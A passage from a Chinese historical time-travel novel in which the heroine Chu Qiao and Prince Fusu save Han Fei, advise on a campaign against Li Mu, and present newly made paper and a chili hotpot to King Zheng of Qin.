闻言，扶苏扭头看向她，好像在问“难道不是为这个吗”。
楚荍对上扶苏的目光，安抚地微微一笑，转头看向韩非。
“先生一心向韩，明明已深陷牢狱，却仍在试图劝谏大王不要攻打韩国。”楚荍看向书桌上刻有字的竹简，笑道，“其中拳拳爱国之心，我们自当敬重。”
“你是？”韩非问。明明这个女人没说话时没有一点存在感，就像是跟在扶苏身边的侍女。但是一开口，就让人再也挪不开眼，连她平淡的容貌都艳丽起来。
“楚荍。”她缓缓说出自己的名字，“长公子侍女，韩先生叫我楚荍就好。”
哼，韩非又是一声嗤笑，若他信了楚荍只是个普通侍女，那他真要成这牢里最蠢的人了。不过既然楚荍不愿说，他也不会问。他根本就不在乎眼前这个女人到底是谁。
“韩先生入秦这么久，可在咸阳城逛过？”楚荍笑着问。
韩非没说话，而楚荍也没想着他会理她，所以自顾自地接着说道，“不如今日便由公子陪着先生一起同游咸阳城如何？”
韩非入秦后一直都在别馆住着，后来又被下狱，而且他是出使秦国，自然也没什么闲心思去逛咸阳城。
“你到底什么意思？”
韩非的语气不耐起来，他实在没什么心思和楚荍打哑迷。他没有这么多时间，他还有一封谏书没有写完。
“自平王东迁洛阳以来，周王室式微，礼崩乐坏、瓦釜雷鸣，诸侯争霸而战。晋并国十七，服国三十八，城濮之战中大败楚国，一战而霸。”
“而后韩赵魏三家分晋，韩国经申不害变法之后成小康之治。可如今，日落西山，韩民困苦，韩王和宗室子弟却昏庸无能，贪图享乐，丝毫不知利剑已悬在他们头顶。天真地以为遣先生出使，就能让大王缓一缓砍向他们的屠刀。”
“却不知，这根本就是一场死局。”
韩非打断楚荍，目光沉沉，痛苦的情绪在他眼眸里翻滚，“你到底想说什么？”
“难道先生不是这么想的吗？”楚荍笑笑，随后又正色说道：“我知先生爱韩国，爱那片土地上的韩民。但是现在到了秦国，先生不想看看秦国之民是如何生活的吗？”
“不抱任何目的，只是看看。”
楚荍话音刚落，便听扶苏缓缓说道：
“如果先生不想，也不必勉强。”
扶苏适时伸出手握住韩非的手，语气和表情都十分真挚。
任谁来，都会认为扶苏是真心的。但同时又会去猜测扶苏是不是装出来的。
只有楚荍知道，她家公子是真心的。扶苏就是这样一个关心所有人，有着大爱，毫不吝啬向人间挥洒辉光的天使。
不知是什么触动了韩非，或许是楚荍的话语，或许是扶苏的真心。片刻过后，他竟然真的答应了楚荍的请求。
这时，那位年轻狱长又及时出现，不仅带了人来给韩非梳洗，甚至已经准备好了三名便衣守卫。
“看来牢房隔音不太好，是吧。”楚荍看了这位狱长一眼，笑着说。
程兴挠了挠脑袋，嘿嘿一笑，“是有点。”
“你叫什么名字？”
“程心。物之准者程，这里的心。”他指了指自己心脏的位置。
“程、心，好名字。”楚荍重复一遍，笑着点了点头，“我
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记住了。”
“这三个是我们这的好手，再加上这位小哥。”程心看了看王离，接着说道，“定能保护公子和韩先生安全。”
言外之意就是让楚荍不用担心韩非万一中途暴起要逃走的危险。
“那我就放心了，多谢程狱长。”
半个时辰后，韩非梳洗好了。
沐浴过后，又换了身新衣裳，韩非看起来精神了许多。身上原本的浓浓垂暮之意也淡了一些。
楚荍自然地牵起扶苏的手，往外走去。走出几步之后，扶苏突然停了下来。
他走到韩非旁边，朝他伸出手，询问道：“可以吗？”他注意到韩非好像走的有些慢。
见状，王离先有了意见，“公子！”
原本楚荍牵着公子，他站在公子另一侧，可以很好地保护公子安全。现在要让一个敌国之人，可能对公子有危险的人站在他旁边，那怎么能行！
只见扶苏朝王离摇摇头，示意他不必担心。他自有分寸。
韩非自然也注意到王离的动作，他冷哼一声，没给扶苏好脸色，“哼，随你。”
若是其他人，肯定就被韩非的冷脸吓跑了。但是扶苏不一样，他像是没注意到韩非的情绪，依旧高兴地用自己的小手牵住他。“我们一起走吧，韩先生。”
奇怪的是，扶苏牵住韩非之后，他明明一脸不愿意，却没有甩开扶苏的手。
楚荍看出韩非脸色一瞬间的变化，心中忍不住偷笑。
唉，没办法，谁能拒绝她家公子这样处处为人着想的贴心小棉袄。
就算是冷脸嘴硬的韩先生也不行呢。
扶苏牵住韩非之后，放慢脚步，三人一齐慢慢往外走。
咸阳狱在城郊，众人先坐了马车去东市。
今天是十五，东市有大集，热闹的很。
川流不息的人群，络绎不绝的叫卖声不绝于耳。现在已近中午，不少从村中来赶集的农户东西都已经卖得差不多了。
“楚姑娘，最近身子好些了没，那土方子咋样，还咳不咳了？”
一个肉摊上正在切肉的大婶突然叫住楚荍，热络地和她寒暄着。
“哎，吴婶，我好啦，现在一点都不咳了。”楚荍高兴地挥手朝她打招呼，“你家那两头猪最近长肉了吗？”
“长啦，肚皮又肥一圈呢。到时候年底宰了，你最爱吃的肋排给你留着。”
“那太好了，多谢吴婶！”
一路上，这样和楚荍寒暄熟络的人不少，仿佛这咸阳城个个她都认识，个个都和她有交情。
韩非在一旁冷眼瞧着，也有几分好奇起来，她到底是什么人。
中午，他们在路边找了一家店吃午饭。
饭桌大多数时候都是楚荍和扶苏在说话，王离时不时应和两句。
下午，楚荍又带韩非去城郊的几个她熟悉的村子逛了逛。还被一户农家强留下来吃了晚饭。扶苏看起来对这种事习以为常，倒是王离和韩非没经历过此事，有些别扭起来。
天色渐晚，回程的马车上，楚荍才缓缓道出她此程的目的。
38.第三十八章 谈话
浓浓夜色下，马车的木轮在泥泞的路上碾过一道道车辙。
“姑姑，现在怎么办？”
扶苏叹了口气问。他和姑姑费劲口舌，最终也没能让韩先生回心转意。
一个时辰前——
“韩先生，我没去过韩国，不知韩国百姓和我秦国百姓的生活可有不同？”
“哼，皆不过日出而作日落而息，能有何不同。”
说这话时，韩非只是望着车窗外的漆黑。
他说谎了。
即便在都城新郑，百姓们的手也满是皲裂的裂纹，久久不能愈合。满是风霜的脸上，是一双麻木不仁的眼睛。他们无一日不是活在惶恐当中。
他们每日都在算，家里的米还够吃多久，多加点水还能再吃几餐稀饭。今日又有差吏上门催税，家里一分余钱都没有了。冬天还没过去，明年开春的麦苗也没钱买，可他们已经饿的连上山捡柴火的力气都没了。
该怎么办呢，这样的生活。
可秦国之民却完全不是这样。六国皆视秦国为蛮荒之邦，不懂礼仪文明。却不知，秦国早已超出他们许多。
方便坐立的桌椅，实用舒适的内衣内裤、牙膏牙刷，风靡的象棋，和最重要的，人们从眼底里透出来对未来的希望。这让他们的日子是光明的、光辉的，更简单来说，是有盼头的。
“先生说的没错，是荍浅薄了。人皆不过如此，又有什么不同呢。”
“先生可见过李廷尉了？听闻先生与李廷尉皆是师从荀子，是师兄弟呢？”楚荍又问。
闻言，韩非才转过头来，“李斯来劝过我几回。我本以为最近会见到的是他。”
“那看来我们是抢在李廷尉前面了，幸好，幸好。”楚荍笑笑。
韩非早就猜到自己会死在李斯手上。
两人是师兄弟，李斯最清楚韩非的才能。嬴政虽对韩非十分喜欢，但也不会容忍韩非回到韩国。李斯担心如果韩非活下来，自己的地位不稳，于是顺水推舟除掉韩非。这样的结局，早就可以预见了。
不过扶苏和楚荍确实是个意外。
“只是韩先生，这盘死局，并不是无解，不是吗？”
“公子的出现，这盘棋就活了。”
“我们敬重您，不会强迫您做任何事情。只要您不是心存死志，就能活。”
楚荍说完，期待地望向他，希望他能松口答应自己的请求。
可韩非又转过了头，他痴痴地看着车窗外的漆黑。
半晌，楚荍和扶苏才听见一句嘶哑的“不必了，多谢你们的好意。”
唉，楚荍在心中叹了口气。这样的结果，她猜到了。
韩非这样的人，不会只因为今天这一天就改变自己的想法。
韩国、韩地之民，这是他心底不可越过的原则。
“既然我们劝不动韩先生，那就只剩一个办法了。”
楚荍握住扶苏的手，凑过身小声跟他说自己的办法。
“这样真能行吗？”扶苏狐疑地看了一眼楚荍，十分怀疑这个办法的可行性。
“当然，公子要相信自己！”
楚荍朝扶苏疯狂点头。
片刻过后，马车停下。扶苏站在嬴政宫门外，一旁的楚荍兴奋地给他加油打
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气。
是的，他这位不靠谱的姑姑给他出的主意竟然是然他对父王撒娇，然后把人要过来。
扶苏回忆了一下平常阴嫚对父王撒娇的样子，然后默默放弃了这个想法。
挽着父王的手不停晃，捏着嗓子，娇滴滴地喊父王。这种事情，他一辈子都做不出来。
扶苏撇了一眼自家姑姑，完全不知道为什么她会这么兴奋。
唉，算了，还是他自己想办法吧。
扶苏摇摇头，整了整衣裳进殿。
殿内，灯火通明，嬴政仍在伏案工作。
“父王，这么晚了您还不休息吗？”扶苏皱着眉上前行礼。
嬴政没理扶苏这句话，这样显而易见的事情有什么好问的。
“从韩非那回来了？”嬴政问道。
唉，扶苏又是一声叹气，泄气般地点头称是。
若是他能成长的更快一点，是不是就替父王分担一些了。
“不就是去见了韩非，怎么还唉声叹气的？你们不是把咸阳城逛了一圈？”
扶苏摇摇头，没说自己不是因为此事才叹气。
“父王，孩儿想认韩先生为老师。”
他提出自己的请求。
嬴政这才来了点兴趣。他勾了勾嘴角，放下手中的竹简玩味地问道：
“你那么多老师不够你学的，还要认韩非做先生？”
“再者，就算你想认韩非为老师，他认你这个学生吗？”
闻言，扶苏咧嘴笑了笑，露出一个像小狐狸一样狡黠的笑容：
“父王，你不该对孩儿更有自信一点吗？”
39.第三十九章
“哦，所以韩非认你这个学生了？”
嬴政挑了挑眉问。
“是也不是。”扶苏点头又摇头，“孔夫子说的好，三人行必有我师。”
“今日与韩先生一起同游，孩儿学到很多。既如此，韩先生难道不算是扶苏的先生吗，与韩先生认不认我这个学生又有什么关系呢。”
闻言，嬴政不由得哑然失笑，没想到扶苏钻的是这样的空子。
“你不过今日见了他一面，便跑到我这里要保他一命，为何？”
嬴政问。他虽喜爱韩非，但也不是非他不可。这是扶苏第一次张口向他要人，他还从没向他要过什么。
“嗯，该如何说呢？”扶苏沉思了一会儿后认真说道，“今日与韩先生同游时，韩先生随意几句点拨，便让我深思许久，受益良多。孩儿确实想拜韩先生为师。”
“虽说韩先生现在并不认可我，但累月经年、水滴石穿，总有一天韩先生会改变心意的。”
“而且，虽然韩先生嘴上不说，但孩儿能感觉到，先生还是挺喜欢我的。”
嬴政看着扶苏一脸呆笑，心中叹气，这孩子怎么一点都不像他呢。
心肠太软又太过温良，看来以后要多把他带着身边自己多教着点，不然这傻小子被人买了还要帮人数钱呢。
“你刚刚那些话，换任何一个人来说，我都会让他滚出去。”嬴政起身走到扶苏面前，微微弯下腰对他说道。
扶苏抬起头，伸手牵住自家父王，望向嬴政的眼里似有万千星河，亮晶晶的。
“我知道。”他眉眼弯弯，“孩儿心里一直都知道。”
父王很喜欢自己，他一直都知道。扶苏在心里默默地说。他胸口前那块暖玉就是证明。
“哼，你能知道什么。”嬴政抬手敲了扶苏一个脑瓜崩，颇有些心中所想被人拆穿的恼羞成怒。
翌日，朝会过后楚荍和众臣在嬴政书房里议事。最近众臣都在商讨桓齮率军攻赵之事。楚荍不懂军事，所以一般都只是坐在旁边听着。
“
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此次桓齮率军与赵军交战于平阳，大败赵军，赵军被斩首10万人，赵将扈辄战死。”
蒙恬对着地图向嬴政汇报此次战役的战果，在听到我军大胜的时候，所有人脸上都露出了笑容。
“而且这次有了马镫和马蹄跌，我军实力大增。赵国最精锐的骑兵也败于我们马下。最后统计兵士伤亡的数量时，还不到以往的一半。”
听到这个数据，见众人都看向自己，楚荍微微一笑。再少死点人吧。她虽没有天真地认为在这个战国时代能不死人，但能少死点人真是太好了。
“不过，这一战过后，赵王启用了李牧为统帅。此人十分难缠。李牧在北境战功赫赫，能败匈奴十万余人，是个狠角色。”
蒙恬说完，众人纷纷附和。他们多少也耳闻过李牧的事迹。
就在众人激烈讨论后面的行军路线的时候，楚荍才突然反应过来。
李牧！那个六国名将，两次大败秦军，最后秦国用反间计才解决的李牧！她说怎么这么耳熟！
40.第四十章 战局
“桓齮军报上的意思是我军伤亡较小，如今士气正盛。现盘踞宜安，直逼邯郸，可乘胜追击。”
“而李牧的边防军主力刚和邯郸的赵军汇合，军队不稳，正是我们进攻的好时机。”
见众人热烈地讨论着接下来的进攻，楚荍听得眉头直皱。
她记得这场“肥之站”，经典的围歼战范例。以前她好奇无往不胜的秦军怎么会两次惨败在李牧手上，输一次就该长教训了吧，竟然还输了第二次。所以她特意研究过这两次战争，发现秦军确实是在战术上被人碾压了。
这次战役，秦军和赵军在宜安对峙，李牧采取筑垒固守，避免决战，俟敌疲惫，伺机反攻的方针，拒不出战。
面对赵军坚垒，桓齮认为，秦军远出，不利持久。所以他率主力进攻肥下，企图诱使赵军往援，等赵军脱离营垒后，将其击歼于运动之中。
但李牧早已猜中桓齮想法，不为所动。他认为“敌攻而我救，是致于人”，乃兵家大忌。
秦军主力去肥后，营中留守兵力薄弱；又由于多日来赵军采取守势，拒不出战，秦军习以为常，疏于戒备。李牧乘机一举袭占秦军大营，俘获全部留守秦军及辎重。
李牧又判断桓齮必将回救，部署一股兵力由正面阻击敌人，而将主力配置于两翼。当正面赵军与撤回秦军接触时，立即指挥两翼赵军实施钳攻。最终，经过激烈战斗，秦军大败。
不过她记得秦军是在明年年初才打的这场战争，照现在他们讨论的这个势头，这仗肯定是要接着打了。所以时间是提前了吗，因为她提供的马镫和马蹄跌。楚荍有些疑惑。
她观察一圈众人的神态，发现只有尉缭皱着眉。
但是尉缭跟她离得太远了，她想跟他探讨都不行。
随着时间流逝，楚荍心里越来越着急。她到底要不要将此事说出来，还是迂回地提醒一下？
算了，还是说吧。毕竟她虽然生是楚国人，但以后死肯定是秦国魂了。
“大王，我有话要说。”
楚荍有些底气不足地举起手，她虽然知道这场战争的结局，但是她确实不懂军事，她不确定自己说了会导致怎么样的结局。万一更差怎么办？
明明准备要说，话到嘴边楚荍又不敢说了。
百转千回之下，楚荍才终于说出口：“大王，穷寇莫追。我军虽如今士气正盛，但若要直逼邯郸，民众和兵士悲愤之下，破釜沉舟，定极为难缠。且李牧常年驻守边境，对匈奴、对骑兵都经验丰富，我们不一定能讨到好。”
“而且李牧擅长疲兵之计，兵者诡道，若我们佯攻肥下的目的被看穿。”楚荍起身走到地图面前，用手指比划着李牧的进军路线。“李牧乘机偷袭我军营地，桓将军一旦回援，就落入了他的圈套。”
“若李牧在正面部署一支队伍，然后将主力部署在两翼，桓将军被夹击，就是插翅也难飞。”
楚荍说完，所有人都沉默了下来，脸上皆是怪异的神色。一是楚荍从不在军事会议上发言，这次竟然说了这么多，还这么有道理？
太能藏了，真是可怕的女人。所有人心里都冒出这个想法。
自此，
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楚荍在他们心中，危险的层次又上升了一个层次。
冬日的阳光没什么温度，但光落到人身上还是很舒服。
阳光下，楚荍叹出一口浊气。最后散会的时候关于这场战役没有落下定论。但她该说的已经说完了，剩下的就让这些大佬去讨论吧。
这个点了，她还是去找扶苏吃饭来的实在一点。
结果她竟然没找到人，扶苏给她留了口信，他出宫去找韩非了。
嬴政的动作很快。昨晚扶苏找他要人，他答应之后，今日就让人把韩非从狱中送到了宫外的一座别院之中。
这座别院不大，但五脏俱全，韩非一个人住刚好。而且这座别院离王宫很近，方便扶苏出宫探望韩非。
楚荍到时，扶苏、韩非和王离三人已经吃上了。
“怎么都吃上了，不等我？”
楚荍进门毫不客气地坐下。
“哪有，明明是姑姑你来得太晚了。”扶苏放下碗，笑着说道。
“我可是刚结束就来了，累死了都。”
很快，侍者就为楚荍上了碗筷。扶苏他们也是刚开始吃。
吃完饭后，楚荍才状若无意地问：“公子早上是什么时候来的？”
“早朝结束就我过来了，早上先生在写谏书，我在一边读书，先生指导了我几句，我又收获很多呢。”
扶苏边说，边和楚荍比了个ok的手势。
后来，楚荍才知道，扶苏只用一句话就让韩非改变了死志——
先生若现在死了，便再也不能为韩国做些什么了。
41.第四十一章 造纸
柴门闻犬吠，风雪夜归人。
是夜，天冷风寒，楚荍房中的炭盆烧的很旺。她躺在床上裹着被子，借着油灯的光亮正在看账本。
唉，钱还真是不经花啊。一笔笔钱跟流水一样就花出去了，府里的钱眼看就要见底。去找王绾那厮要钱肯定是要不来的，而且现在年底都在查账，她要是去找王绾绝对会被他一句添乱给赶出来。
不过倒也不急，马上就要放年假，扣去年初复工要采购的一批原料，剩下的钱刚好可以用来发新年绩效。她还给新年绩效起了个好听的名字：新年福。
吉星高照、福气盈门，多好的寓意！这可是他们格物府第一次发新年绩效，沉甸甸的钱袋子，满满都是福气！
楚荍还在床上算账呢，突然有人敲门。
“姑姑、姑姑，你睡了吗？成了，我们做成了！”
李远在门外兴奋地敲门，口中一直在大喊成了。
楚荍听到声响，立马起身披上外衣开门，急切地询问什么成了。她莫名紧张起来，害怕李远没给出自己想听到的答案。
“纸成了，姑姑，我们做成了！你快来看！”李远急得上手就要拉楚荍。
楚荍赶紧安抚住他，“等等，你别急，我换个衣服，马上。”
很快，楚荍草草换了衣服，就被李远拉着跑向工坊。
此时，百工坊的暖房内，众人都在欣赏已经烘干取下来铺在桌上的纸张。
暖房是后建的，冬天太冷，纸张成型需要烘干，所以就又建了一个。有农工坊的暖房比作参照，这个建起来很快。不过暖房的温度还是调试了很久。
楚荍推开门进来的时候扑面而来的先是一股暖意，随后桌前的人都自觉地让开了位置。她走上前，看着洁白如新的，轻薄如翼的纸张，迫不及待就上手摸了起来。
这个手感、这个硬度，跟“宣纸”已经十分相似了，几乎没有区别。
旁边已经放好了笔和墨，显然是等着她来试。
楚荍拿起笔、沾好墨后怀着激动的心一横一竖写下“格物府”三个大字。
书写很顺滑，洇墨很少，稍微会有透墨，用墨比较多的话会透到垫的下一张纸上。
不过这些都是小问题，能做到这个地步已经是一张合格的“纸”了！
“来，你们也都自己试试。”楚荍将笔递给身旁的李远，脸上挂着大大的笑容，一句话里恨不得每一个字都是上扬音，显示是高兴极了。
这里的每一个人，手上都满是又疼又痒的冻疮。为了研究造纸，手整日都要反复泡在冰冷刺骨的水里、纸浆里，能不泡烂吗。但幸好，辛苦了一个冬天，总算是开花结果，让所有人的努力都有了回报。
李远高兴地接过笔在纸上写下自己的名字，气氛瞬间热络起来，大家都七嘴八舌地开始讨论起来。
楚荍摸着纸，心里止不住地高兴，现在纸造出来了，很多事情都可以开始准备。
等她拿着新“纸”去找政哥，明年预算肯定能多一大笔！
楚荍跟众人交代好保密的事情，便又给他们布置个任务。现在技术突破了，就要考虑量产的问题。等到开年，造纸厂肯定是要建起来的。
既然要实现工厂的大批量制作，标准化流程肯定要先摸索出一套。而且还要培养一批技术工人，像是抄纸，每张纸的薄厚粗细，都在工人抄纸的一念之间。
标准化流程和技术工人，二者缺一不可。前者还可以在今年放年假之前先搞个基本流程出来，等到来年春天工厂建好之后，再进行具体调试。不过培养熟练工人，就得等到年节之后了。
她现在倒是可以和甘罗商量商量，圈哪块地做造纸厂。而且现在人手也不够，她还得再要些人过来。这个冬天和各个官署打交道，她可是看中了好些个人。
不过楚荍要真把人要走了，其他人又得骂她是强盗了。不过没关系，她就喜欢他们无能狂怒的样子。
还是后来扶苏才告诉楚荍那块虎头令牌的含义，“见令牌如见大王”。难怪那群人一看见这令牌就变了脸色，她后知后觉地想。
不过拿着鸡毛当令箭，狐假虎威地耍威风真的很爽，谁试谁知道！
很快，就到了年节。嬴政在宫中摆了家宴请各位大臣吃酒，一起庆祝新年。
因为格物府已经放了年假，所以楚荍早回宫两天，想着多陪陪扶苏。
结果回宫之后，她才发现扶苏比她还忙。白天她根本就找不到扶苏人。
不过晚上两人还是能慢悠悠地依偎在火炉旁，交换着这个冬天各自的回忆。
第二日中午，宴席上。
楚荍的位置被安排在李斯旁边。虽然是楚荍的没话找话，但两人还是聊了不少。
随后，嬴政和扶苏入席，只见扶苏亦步亦趋地跟在嬴政身后，坐在了嬴政的下首。
这一幕，众臣已经见怪不怪了。这一年，大王就差把扶苏是我最欢的儿子写在脸上了。
随着丝竹之声奏响，宴席正式开始。群臣开始依次为大王献上新年贺礼。
楚荍看着她前面那些人送的礼物，心中忍不住得意，这些人的礼物完全比不上她的有新意，哼哼。
轮到楚荍，楚荍先是上前行礼说了一通吉祥话，随后便献上了自己的礼物。
她的话音刚落，便有两名宫人上前把宽一米，长两米的巨型画卷徐徐展开。
落日黄沙下，嬴政立在山峦之上肆意地挥斥方遒，一只雄鹰盘旋在他的身侧，山峦之下是臣服在他脚下的万里城池。画卷的右侧提着这样一首诗——
秦王扫六合，虎视何雄哉！
挥剑决浮云，诸侯尽西来。
随着画卷展开，丝竹之声突然一变，乐伶开始吟唱起由这首诗改编的乐曲。
乐曲风格先是古朴厚重，历史的黄沙仿佛浦沿到每一个人脚下，叙述着过往的故事。但随着画卷展开，风格很快便过渡到轻松欢快，好像已经在庆祝扫六国、定天下。
所有人都被楚荍这一出给震惊了，还能这么送礼吗？这马屁拍的，再过一万年他们也赶不上啊！
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而且这诗是不是有点太直白了，虽然他们大王确实一直都有灭六国，一统天下的野心，但是可以就这么直白写成诗的吗！
不过，看他们大王的表情，就知道这礼物算是送到他们大王心坎上了。
以前，在众臣心中最看不起的是从来不和大王有任何一丁点相悖的李斯。现在，这个位置要换人了。
论谄媚奉承，没人能比得过楚荍这女人！
坐在上面的嬴政，也确实被楚荍的小心思惊了一下。但很快，他就发现有些不对劲。布帛没有这么白，而且展开的声响也不是这个动静。
他起身走上前，伸手摸了一下这副画卷。
这时候，乐声也适时地停了下来。
“这是什么？”嬴政扭头问道。他已经猜到几分，没想到一个冬天就造出来了。看来楚荍确实没有空口白话。
“回大王，这是我们格物府刚刚造成的‘纸’。我们将其命名为秦纸。”
楚荍的话音未落，立马就有宫人端上来了一叠已经裁好的纸。
诸位大臣的桌上也都被奉上了一叠纸。
众人摸着这洁白如新，薄如蝉翼的纸张，不无啧啧称奇。
“秦纸将在春天开售，欢迎各位大人前来购买。提前订购，可享九五折优惠哦。”
楚荍笑盈盈地向众人兜售。
拜托，她的格物府那么烧钱，总得找个地方赚钱吧。
而众人听到这句话，摸着纸的手都一下子愣住了。
无耻、奸商！众人都在心里破口大骂，企图通过这种方式为自己的钱包默哀。
能怎么办呢，这么好的纸，又能作画又能写诗的纸，难道不买吗？
楚荍献完礼后，后面再送的礼物好像突然就变得“味同嚼蜡”一般平淡。
而且众臣也都变得心不在焉，都在心里算着大王发给自己新年俸禄能拿出多少来买这“秦纸”。
宴席结束后，晚上。楚荍给扶苏也准备了礼物。
“铛铛铛铛！”楚荍放开捂着扶苏眼睛的手，映入他眼帘的是他曾经吃过，但又有些不一样的火锅。桌上还摆着各种各样的菜。
太极图案的铜锅，一边是鲜辣呛鼻的红锅，一边则是清淡柔和的清汤锅。
“姑姑，这是什么？”扶苏指着飘在落在汤面上的辣椒好奇地问。
“这是辣椒，也是格物府刚刚培育出来的品种。跟它的名字一样，辛辣刺激，但让人吃了一口就想着第二口。”
楚荍牵着扶苏在椅子上坐下，然后把自己已经编好的那个西域种子的故事又说了一遍。
而且事实是，她种在花盆里那几颗辣椒全死了。但是由专业人士精心养育在暖房里的辣椒籽还是坚强的活了下来。虽然最后只活下来了一部分，但是活下来的那一部分又经过育苗、培育等等步骤，现在已经在暖房里活得好好的了。
所以她才摘了一部分用来做火锅。而且这红锅看着辣，其实顶多是微微微辣。扶苏之前没吃过辣，又还小，她根本不该做太辣，怕把小孩辣坏了。
42.第四十二章 新年礼
黄昏，嬴政头疼地从醉酒中醒来。
中午宴席他喝了不少，喝过醒酒汤就很沉地睡着了。他看了一眼窗外，发现自己最多就睡了一个半时辰。
寝宫内十分安静，他沉沉看着窗外的落日余晖，脑内思绪乱飞，纷杂地让他更加烦躁。
不知为何，没由来的，他心中的情绪很不好。
明明都是好消息。
今年几场仗都赢了，桓齮那边他们最后商议的结果是驻守宜安，不断进攻骚扰赵军，同时用反间计在赵国散播谣言，使赵国君将离心。若赵军仍坚守不出，刚好落入他们的圈套。
如今正值年关，李牧虽想用疲兵之计，但兵士不一定能理解，特别赵军是两支队伍合并。他们只需买通一些人，挑起赵军军中情绪再容易不过。然后再在赵王那里上点眼药，只要赵国割几座城池，赔点钱，秦军就撤军。
离间计、反间计这些阴谋诡计秦国用得十分顺手。赵王已经顶不住压力准备和谈，赵国的和约、使者都已经在路上了。
楚荍这边，虽然投了很多钱，但一个冬天就有了重大成果。还有她们之前搞的那个养猪，数据也非常不错，明年劁猪这个方法就可以全面推广。
所以为什么，心里还是这么难受。
嬴政深吸一口气，起身想去花园里走走。
宫人听到动静，立马上前为他更衣。换好衣裳后，嬴政一挥手让所有人都不要跟着，他自己去走走。
冬天总是黑得很快，明明刚出来的时候还是黄昏，但现在天已经暗了下来。各宫都点起了灯。
不知不觉，嬴政走到花园里荷池旁。枯荷都已经拔了，湖里光秃秃的。他望着树下的两张摇椅，嘴角在他自己不知道的时候勾了起来。
只是，自从夏天那次之后，这两张摇椅也再也没有用过。那样悠闲的时候，好像再也没有了。
就在他有些感怀的时候，突然，一股特殊的味道窜进他的鼻子。
嬴政朝远处望去，只见远处有两个人影拎着什么东西，依稀还在说着快点。
他被这个味道勾引，好奇地跟了上去，发现他们走的这条路是到扶苏寝宫的。那这个奇怪味道就说得通了，肯定又是楚荍弄出来的什么新玩意儿。
他慢悠悠地跟在后面，刚好碰见楚荍和扶苏两人回寝宫。不过他在暗处，两人并没有发现他。
“吃什么呢？”
楚荍和扶苏看着突然出现的嬴政，皆是一愣，反应过来又立马上前行礼。
“父王，您怎么过来了？我记得您中午不是醉酒回寝宫了吗？”扶苏有些错愕的问，没想明白为什么自家父王中午醉酒之后现在还能突然出现在这里。
“酒醒了不行吗。”嬴政随意地说道，“好了，别站着了，坐吧。”
楚荍看着嬴政对扶苏说坐，一下又尬住了，不知道自己该不该坐。她轻咳两声，试图让自家政哥注意到旁边还站了个人。
嬴政注意到楚荍弄出的动静，轻笑一声，睨了她一眼，这才说道：“你也坐吧。”
嘿嘿，楚荍傻笑两声，高高兴兴地坐在了扶苏身侧，“多谢大王。”
她坐下来之后，还没等嬴政开口，就自觉把这火锅又介绍了一遍，包括她已经和扶苏说过一遍的故事。
“所以这辣椒是西域来的新品种？”嬴政看着红彤彤的辣椒，不觉也有些好奇。
“正是。”楚荍应道，将红锅里的肉捞起来放进宫人给嬴政新上的碗中，“大王尝尝，很好吃的。这辣椒味道独特，辛辣火热，让人吃了第一口就忍不住吃第二口。和胡椒有些像，但又完全不同。”
“如今格物府已经成功育种，待到春天大面积种植之后，我们大秦百姓的餐桌上就又能增添一道道美味的菜肴了。”
嬴政看着肉片上挂着的红油，又被楚荍的话勾起兴趣，真有这么好吃？
他将肉片夹起，整个放进口中，立马就体会到了楚荍刚刚说的“辛辣火热”是什么意思。他口中和喉咙立马就有了灼烧感。
扶苏还没吃，这几片肉本来是姑姑为他烫的，结果父王出现的时机刚刚好。
“好吃吗，父王？”他好奇地问。
只见嬴政将肉吞下，片刻，第一个字却是“水”。
见状，楚荍立马反应过来嬴政是被辣到了，她立马起身手忙脚乱给嬴政倒豆浆。“大王，快喝这个，解辣。”
只见嬴政一口气喝了一整杯的豆浆，这才缓了过来。
“大王，每个人吃辣的程度都不一样，刚刚那肉片沾满了红油，您第一次空口吃，肯定是太辣了。”楚荍赶紧给额头已经微微冒汗的嬴政台阶下，也不知他是辣的，还是这房里的暖炉烧太热了。
“这个是醋口的蘸汁很解辣，下次您可以沾着酱汁一起吃，就不会很辣了。”
楚荍刚说完，余光就瞄到扶苏自己从红锅里捞了一筷子，她赶紧拦住扶苏，“公子不行！”
嬴政都辣成这样，更别说扶苏这样的小孩子，真被辣到了可不是好玩的。
楚荍让宫人上了一碗热水，让扶苏把肉片在热水里过了一遍才肯让他吃。
“姑姑，你是不是太小瞧我了？”扶苏盯着过了遍水的肉片，两颊鼓鼓，像是在为楚荍小瞧自己的英雄气概而生气。
虽然楚荍又被扶苏这个表情给萌到了，但是仍然没有松口，“公子先尝尝这个辣味能不能接受，然后再一点点尝试。这样既能平常美食，又能尝到辣味，岂不两全其美。”
“好吧。”扶苏被楚荍说服，略有嫌弃地吃掉这团过水的肉片。
结果味道完全出乎他的意料，微微辣味和红汤的风味融在一起，是一种他从没吃过的味道。
好吃！扶苏的眼睛又亮了起来，而且这个辣度他也能接受。
这边，楚荍又烫了一盘肉，这次是清汤的。她捞起来放到两人眼前，让两人先缓缓。
很快，扶苏和嬴政就熟悉红锅的辣度，两个人都吃得额头冒汗，嘴巴都红了一圈还在不停的吃。
这时候，两人才明白楚荍那句“吃了第一口就想吃第二口，越辣越想吃”是什么意思了。
不过一直吃肉还是很容易吃腻的，两人的速度慢了下来，三人开始慢慢闲聊。
楚荍趁着这个机会，挑了一些
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在格物府发生的趣事讲给扶苏听。又顺便向嬴政汇报了一下工作进度，谈了一下来年开春的设想。
楚荍和嬴政两人聊工作聊的认真，完全没发现扶苏脸上的笑容慢慢变得勉强。
姑姑自出宫之后真的做了好多事情，不像自己，就算把课程从早排到晚，依旧帮不上的父王的忙。
早上他到偏殿上课时，父王就已经开始上早朝。晚上，他已经准备回寝宫休息，父王殿中仍然是灯火通明。
每当这个时候，扶苏就忍不住想，他真是个没用的儿子。
父王和姑姑的身影越走越远，自己拼尽全力却怎么也追赶不上。
深夜，四下无人的时候，这种挫败的感觉就会将他包围，让他越陷越深。
嗯，还会有些寂寞......他苦笑。
可当太阳升起，他便会做回那个完美无缺的大秦长公子。连这样的想法，他都不会允许出现。
他无法、也不能，向任何人开口述说他的苦恼。他有自己的骄傲。
“公子，怎么了？”楚荍柔声问道。她注意到刚刚扶苏的表情有些不对。
只见扶苏摇摇头，立马又扬起一个灿烂的笑容，“我没事，就是有些吃饱了。”
“吃饱了那就别吃了，晚上不好吃太多，不然不好消化。”楚荍笑着说。
“嗯嗯，我知道的。”扶苏垂下眸，长长的睫毛遮住眼睛，他乖巧地应道。
吃完火锅后，嬴政又和扶苏对弈了一局，这才回了自己的寝宫。
这时，明月已经高悬于天上。
嬴政从扶苏寝宫中出来，立马就被寒气给冻醒。他长呼口气，原本堵在心中的浊气也好像随着这口气被排了出去。
“大王。”
嬴政还没走出去几步，就被楚荍给喊住。
